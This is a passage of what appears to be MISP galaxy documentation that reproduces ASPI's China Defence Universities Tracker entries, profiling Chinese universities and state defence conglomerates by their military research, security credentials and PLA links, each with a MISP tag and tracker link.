advancing PLA warfighting capability is demonstrated by the fact that it participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

The tag is: *misp-galaxy:china-defence-universities="Beijing Institute of Technology (□□□□□□)"*

Table 731. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-institute-of-technology

Beijing University of Chemical Technology (□□□□□□)

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research.Between 2011 and 2015, the university's spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university's research spending and an increase of around 50% over the previous five years.BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry.BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Chemical Technology (□□□□□□)"*

Table 732. Table References

Links

https://unitracker.aspi.org.au/universities/beijing-university-of-chemical-technology

Beijing University of Posts and Telecommunications (□□□□□□)

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research.The School of Cyberspace Security is home to one of the university's two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks.BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China's security and intelligence agencies.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Posts and Telecommunications (□□□□□□)"*

Table 733. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-university-of-posts-and-telecommunications

Central South University (□□□□)

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU's involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute.CSU's defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China's first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

The tag is: *misp-galaxy:china-defence-universities="Central South University (□□□□)"*

Table 734. Table References

Links
https://unitracker.aspi.org.au/universities/central-south-university

Changchun University of Science and Technology (□□□□□□□)

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having 'safeguarding national defence as its sublime responsibility and sacred mission.'CUST is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□□), a group of eight Chinese research institutions that specialize in armaments science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (□□). In April 2018, CUST established the School of Artificial Intelligence (□□□□□□□) and the Artificial Intelligence Research Institute (□□□□□□□). CUST researchers working on AI are likely involved in research related to facial recognition technology.

The tag is: *misp-galaxy:china-defence-universities="Changchun University of Science and Technology (□□□□□□□)"*

Table 735. Table References

Links
https://unitracker.aspi.org.au/universities/changchun-university-of-science-and-technology

China Aerodynamics Research and Development Center (□□□□□□□□□□□□□□□)

CARDC claims to be China's largest aerodynamics research and testing base. It hosts the State Key Laboratory of Aerodynamics (□□□□□□□□□□□□), which includes five wind tunnels and a large computer cluster. CARDC is heavily involved in research on hypersonics.While CARDC is a military unit, its website does not mention this. The PLA officers leading the facility are instead pictured on its website in civilian clothes(pictured: CARDC director, Major General Fan Zhaolin (□□□) in uniform (above) and in civilian attire on CARDC's website (below).

The tag is: *misp-galaxy:china-defence-universities="China Aerodynamics Research and Development Center (□□□□□□□□□□□□□□□)"*

Table 736. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerodynamics-research-and-development-center

China Aerospace Science and Industry Corporation (□□□□□□□□□□□□□□)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over

146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion).Although defence products form part of CASIC's main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it 'will always uphold its core value of ranking national interests above all', which indicates that civilian products receive less priority than defence equipment.

The tag is: *misp-galaxy:china-defence-universities="China Aerospace Science and Industry Corporation (□□□□□□□□□□□□)"*

Table 737. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-industry-corporation

China Aerospace Science and Technology Corporation (□□□□□□□□)

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily focused on 'developing carrier rockets, various kinds of satellites, … and tactical missile systems.' With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list.PLA experts Mark Stokes and Dean Cheng have noted that CASC's main products for the PLA include 'ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.' The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration.CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include 'machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.'CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative.The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

The tag is: *misp-galaxy:china-defence-universities="China Aerospace Science and Technology Corporation (□□□□□□□□)"*

Table 738. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-technology-corporation

China Coast Guard Academy (□□□□□□□□□□□□□□)

The China Coast Guard Academy is an institution of higher learning that trains personnel for entry into China's maritime border defence agency. The academy teaches conducts research and training in maritime law enforcement, warship technology as well as surveillance and intelligence disciplines.The China Coast Guard Academy established the Large Surface Vessel Operation and Simulation Laboratory (□□□□□□□□□□□) in 2016, which focuses on the development of white-hulled boats for the China Coast Guard.

The tag is: *misp-galaxy:china-defence-universities="China Coast Guard Academy (□□□□□□□□□□□□□□□□)"*

Table 739. Table References

Links
https://unitracker.aspi.org.au/universities/china-coast-guard-academy

China Electronics Corporation (□□□□□□□□□□□□□□□)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and telecommunications products. The company describes itself as a defence industry conglomerate.CEC is one of China’s largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC’s 36 member companies in English.CEC is divided into two operational groups. First is the China Electronics Party Institute (□□□□□□), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (□□□□□□□), which is responsible for research and development within CEC.CEC’s defence electronics are developed by the Military Engineering Department (□□□) within CEC’s Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC’s defence-related enterprises on a list that can be found here.

The tag is: *misp-galaxy:china-defence-universities="China Electronics Corporation (□□□□□□□□□□□□□□□)"*

Table 740. Table References

Links
https://unitracker.aspi.org.au/universities/china-electronics-corporation

China Electronics Technology Group Corporation (□□□□□□□□□□□)

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella.CETC is one of the world’s largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees.CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps.Several CETC research institutes and subsidiaries have been added to the US Government’s entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports.CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

The tag is: *misp-galaxy:china-defence-universities="China Electronics Technology Group Corporation (□□□□□□□□□□)"*

Table 741. Table References

Links
https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation

China National Nuclear Corporation (□□□□□□□□□□□)

CNCC is the leading state-owned enterprise for China’s civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China’s main nuclear construction company, China Nuclear Engineering and Construction Group (□□□□□□□□□).The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering.Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design.Two CNNC subsidiaries have been added to the US Government’s Entity List, restricting exports to them on national security grounds.CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

The tag is: *misp-galaxy:china-defence-universities="China National Nuclear Corporation (□□□□□□□□□□□)"*

Table 742. Table References

Links
https://unitracker.aspi.org.au/universities/china-national-nuclear-corporation

China North Industries Group (□□□□□□□□□□□)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group’s civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US$68.8 billion and is listed on the Fortune 500.Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group’s website.Norinco Group’s Institute of Computer Application Technology (□□□□□□□□□□□□□□□□) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (□□□□□) on the Information Security and Testing and Evaluation Centre (□□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="China North Industries Group (□□□□□□□□□□□)"*

Table 743. Table References

Links
https://unitracker.aspi.org.au/universities/china-north-industries-group

China People’s Police University (□□□□□□□□)

The China People’s Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control.Research facilities at the university include:

The tag is: *misp-galaxy:china-defence-universities="China People’s Police University (□□□□□□□□)"*

Table 744. Table References

Links
https://unitracker.aspi.org.au/universities/china-peoples-police-university

China Shipbuilding Industry Corporation (□□□□□□□□□□□□□)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy’s largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC’s signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program.CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC’s civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships.On 2

July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’ Nikkei has listed some of CSIC’s main subsidiaries here.

The tag is: *misp-galaxy:china-defence-universities="China Shipbuilding Industry Corporation (□□□□□□□□□□□□□)"*

Table 745. Table References

Links
https://unitracker.aspi.org.au/universities/china-shipbuilding-industry-corporation

China South Industries Group (□□□□□□□□□□□□□)

CSGC is a leading producer of armaments for the People’s Liberation Army. It was founded in 1999 and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company’s attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company.CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company’s website.

The tag is: *misp-galaxy:china-defence-universities="China South Industries Group (□□□□□□□□□□□□□)"*

Table 746. Table References

Links
https://unitracker.aspi.org.au/universities/china-south-industries-group

China State Shipbuilding Corporation (□□□□□□□□□□□□□)

CSCC was established as one China’s primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the ‘backbone’ of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC ‘produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.’On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane’s Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’

The tag is: *misp-galaxy:china-defence-universities="China State Shipbuilding Corporation (□□□□□□□□□□□□□)"*

Table 747. Table References

Links

https://unitracker.aspi.org.au/universities/china-state-shipbuilding-corporation

China University of Geosciences (Wuhan) (□□□□□□)

CUG is subordinate to the Ministry of Education and also supervised by China’s Ministry of Land and Resources. It is actively engaged in defence research and training on geology, hosting the defence-focused Ministry of Education Key Laboratory on Geological Exploration and Evaluation. The laboratory was established in 2018, has 56 staff, and trains students in ‘military geology’.CUG gained secret-level security credentials in 2009, enabling it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="China University of Geosciences (Wuhan) (□□□□□□)"*

Table 748. Table References

Links
https://unitracker.aspi.org.au/universities/china-university-of-geosciences-wuhan

China University of Mining and Technology (□□□□□□)

CUMT is subordinate to the Ministry of Education and specialises in engineering and other mining and industry-related disciplines. It engages in low levels of defence research.CUMT’s defence research revolves around manufacturing and design, materials science, control science, electronic components, power and energy, and bionics. It appears to be involved in the construction and design of underground bunkers for the military. The academic committee of its State Key Laboratory for Geomechanics and Deep Underground Engineering (□□□□□□□□□□□□□□□□□□) is headed by PLA underground engineering expert Qian Qihu (□□□).

The tag is: *misp-galaxy:china-defence-universities="China University of Mining and Technology (□□□□□□)"*

Table 749. Table References

Links
https://unitracker.aspi.org.au/universities/china-university-of-mining-and-technology

Chinese Academy of Engineering Physics (□□□□□□□□□)

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (□□□) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base.The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering.CAEP hosts part of the Tianhe-2 supercomputer, one of the worlds fastest supercomputers.Despite the sensitivity of its work, CAEP has expanded its international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars.CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.

The tag is: *misp-galaxy:china-defence-universities="Chinese Academy of Engineering Physics (□□□□□□□□□)"*

Table 750. Table References

Links
https://unitracker.aspi.org.au/universities/chinese-academy-of-engineering-physics

Chongqing University (□□□□)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets.In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University (□□□□)"*

Table 751. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university

Chongqing University of Posts and Telecommunications (□□□□□□)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology.The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University of Posts and Telecommunications (□□□□□□)"*

Table 752. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-posts-and-telecommunications

Chongqing University of Technology (□□□□□□)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (□□). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university.The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training.In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University of Technology (□□□□□□)"*

Table 753. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-technology

Commercial Aircraft Corporation of China (□□□□□□□□□□□□)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website.Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students.COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8 Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

The tag is: *misp-galaxy:china-defence-universities="Commercial Aircraft Corporation of China (□□□□□□□□□□□□)"*

Table 754. Table References

Links
https://unitracker.aspi.org.au/universities/commercial-aircraft-corporation-of-china

Criminal Investigation Police University of China (□□□□□□□□)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law.The university also has relationships with companies that provide the technological tools that contribute to the PRC’s public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

The tag is: *misp-galaxy:china-defence-universities="Criminal Investigation Police University of China (□□□□□□□□)"*

Table 755. Table References

Links
https://unitracker.aspi.org.au/universities/criminal-investigation-police-university-of-china

Dalian Minzu University (□□□□□□)

DLMU was established in 1984 as an institution that researches China's ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government.Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China.DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (□□□□□□□□□□□□□□□□). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of facial and optical movements across different ethnic groups.DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (□□□□□□□□□□□□□□□□□□), housed within the university's College of Electromechanical Engineering (□□□□□□). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology.DLMU's party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

The tag is: *misp-galaxy:china-defence-universities="Dalian Minzu University (□□□□□□)"*

Table 756. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-minzu-university

Dalian Naval Academy (□□□□□□□□□□□□□□□)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science.Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

The tag is: *misp-galaxy:china-defence-universities="Dalian Naval Academy (□□□□□□□□□□□□□□□)"*

Table 757. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-naval-academy

Dalian University of Technology (□□□□□□)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government's efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances.In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University’s Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

The tag is: *misp-galaxy:china-defence-universities="Dalian University of Technology (□□□□□□)"*

Table 758. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-university-of-technology

Donghua University (□□□□)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China’s defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects.DHU claims that much of its research has been applied to fields such as defence technology and aviation, and contributed towards China’s space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (□□□□) for collaboration on textiles to meet the military’s needs.

The tag is: *misp-galaxy:china-defence-universities="Donghua University (□□□□)"*

Table 759. Table References

Links
https://unitracker.aspi.org.au/universities/donghua-university

East China University of Technology (□□□□□□)

ECUT was founded in 1956 as the first institution of higher education for China’s nuclear industry. Since 2001, it has been subject to four ‘joint construction’ agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university’s involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT.ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (□□□□□□□□□□□□) was established.

The tag is: *misp-galaxy:china-defence-universities="East China University of Technology (□□□□□□)"*

Table 760. Table References

Links
https://unitracker.aspi.org.au/universities/east-china-university-of-technology

Engineering University of the CAPF (□□□□□□□□□□□□□□□□)

The Engineering University of the CAPF is an institution devoted to training personnel in China’s paramilitary service, the People’s Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering.The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (□□□□□□□□□□□□□), the Big Data and Cloud Computing Laboratory (□□□□□□□□□), and the Command Automation Training Centre (□□□□□□□□□), indicating expertise in these areas.The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (□□□□□□□□□□□□□□□), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:

The tag is: *misp-galaxy:china-defence-universities="Engineering University of the CAPF (□□□□□□□□□□□□□□□□)"*

Table 761. Table References

Links
https://unitracker.aspi.org.au/universities/engineering-university-of-the-capf

Fudan University (□□□□)

Fudan University is among China’s best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology.All defence-related projects and matters in Fudan are managed by the university’s Institute of Special Materials and Technology (□□□□□□□□□□□) and Defence Industry Secrets Committee (□□□□□□□□□□). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute’s director, is also an advisor to the PLA and defence companies on materials science. Fudan University’s Materials Science Department includes one professor who is described as specifically being a ‘defence system professor’, which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (□□□□□□), in partnership with China’s National Administration of State Secrets Protection (□□□□□). The institute carries out research and training on the protection of state secrets.

The tag is: *misp-galaxy:china-defence-universities="Fudan University (□□□□)"*

Table 762. Table References

Links
https://unitracker.aspi.org.au/universities/fudan-university

Fuzhou University (□□□□)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (□□□□□□□□□□□□□) was jointly established in 2016 by Fuzhou University along with a number defence companies and military research institutions under the guidance of Fujian Provincial Government's National Defence Industry Office (□□□□□□). Furthermore, the Fujian Provincial People's Government and SASTIND entered an agreement to jointly develop the university as part of China's military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.

The tag is: *misp-galaxy:china-defence-universities="Fuzhou University (□□□□)"*

Table 763. Table References

Links
https://unitracker.aspi.org.au/universities/fuzhou-university

Guilin University of Electronic Science and Technology (□□□□□□□□)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018.The PLA describes GUET as 'Guangxi Province's only university to have long carried out defence research.' Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Guilin University of Electronic Science and Technology (□□□□□□□□)"*

Table 764. Table References

Links
https://unitracker.aspi.org.au/universities/guilin-university-of-electronic-science-and-technology

Hangzhou Dianzi University (□□□□□□□□)

HDU specialises in information technology and has been jointly supervised by the Zhejiang

Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines.HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert Committee on Artificial Intelligence Development.Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018.HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

The tag is: *misp-galaxy:china-defence-universities="Hangzhou Dianzi University (□□□□□□□□)"*

Table 765. Table References

Links
https://unitracker.aspi.org.au/universities/hangzhou-dianzi-university

Hangzhou Normal University (□□□□□□)

